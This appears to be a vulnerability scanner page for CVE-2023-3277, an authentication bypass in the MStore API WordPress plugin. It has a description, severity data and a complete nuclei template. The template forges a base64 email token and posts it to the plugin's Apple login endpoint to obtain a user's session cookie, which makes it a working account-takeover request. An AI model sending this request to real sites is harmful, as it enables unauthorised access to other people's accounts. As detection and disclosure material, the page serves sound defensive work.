CVE-2023-3277· inspireui / mstore api
MStore API <= 4.10.7 - Unauthorized Account Access and Privilege Escalation
criticalseverity
9.8CVSS score
3.4%likelihood of exploitation, next 30 days
89%of all CVEs are less likely
Readycheck to confirm it
The MStore API plugin for WordPress is vulnerable to Unauthorized Account Access and Privilege Escalation in versions up to, and including, 4.10.7 due to improper implementation of the Apple login feature. This allows unauthenticated attackers to log in as any user as long as they know the user's email address.
Impact
Attackers can log in as any user and escalate privileges, potentially leading to full account compromise.
Fix
No patch available yet; monitor for updates from the developer and apply patches as soon as they are released.
How to confirm it
Send: POST /wp-json/api/flutter_user/apple_login
Positive when: contains "\"wp_user_id\"" and "\"cookie\"" and "\"user_login\"" AND contains in content_type "application/json" AND status 200Run it with nuclei: nuclei -id CVE-2023-3277 -u <target>
The full check
id: CVE-2023-3277
info:
name: MStore API <= 4.10.7 - Unauthorized Account Access and Privilege Escalation
author: daffainfo
severity: critical
description: |
The MStore API plugin for WordPress is vulnerable to Unauthorized Account Access and Privilege Escalation in versions up to, and including, 4.10.7 due to improper implementation of the Apple login feature. This allows unauthenticated attackers to log in as any user as long as they know the user's email address.
impact: |
Attackers can log in as any user and escalate privileges, potentially leading to full account compromise.
remediation: |
No patch available yet; monitor for updates from the developer and apply patches as soon as they are released.
reference:
- https://www.wordfence.com/threat-intel/vulnerabilities/id/1c7c0c35-5f44-488f-9fe1-269ea4a73854?source=cve
- https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=2988788%40mstore-api%2Ftrunk&old=2985882%40mstore-api%2Ftrunk&sfp_email=&sfph_mail=
- https://plugins.trac.wordpress.org/browser/mstore-api/trunk/controllers/flutter-user.php#L821
- https://nvd.nist.gov/vuln/detail/CVE-2023-3277
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-3277
epss-score: 0.03421
epss-percentile: 0.8901
cpe: cpe:2.3:a:inspireui:mstore_api:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 1
vendor: inspireui
product: mstore_api
framework: wordpress
fofa-query: body="/wp-content/plugins/mstore-api/"
publicwww-query: "/wp-content/plugins/mstore-api/"
tags: cve,cve2023,wordpress,wp,wp-plugin,inspireui,mstore_api,auth-bypass,vkev,vuln
variables:
email: "{{email}}"
token: '{{concat(".", base64("{\"email\":\"" + email + "\"}"), ".")}}'
firstname: "{{rand_base(5)}}"
lastname: "{{rand_base(5)}}"
http:
- raw:
- |
POST /wp-json/api/flutter_user/apple_login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"token":"{{token}}","first_name":"{{firstname}}","last_name":"{{lastname}}"}
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"wp_user_id"'
- '"cookie"'
- '"user_login"'
condition: and
- type: word
part: content_type
words:
- application/json
- type: status
status:
- 200References
- https://www.wordfence.com/threat-intel/vulnerabilities/id/1c7c0c35-5f44-488f-9fe1-269ea4a73854?source=cve
- https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=2988788%40mstore-api%2Ftrunk&old=2985882%40mstore-api%2Ftrunk&sfp_email=&sfph_mail=
- https://plugins.trac.wordpress.org/browser/mstore-api/trunk/controllers/flutter-user.php#L821
- https://nvd.nist.gov/vuln/detail/CVE-2023-3277
Use this check only on systems you are authorised to test. Where the data comes from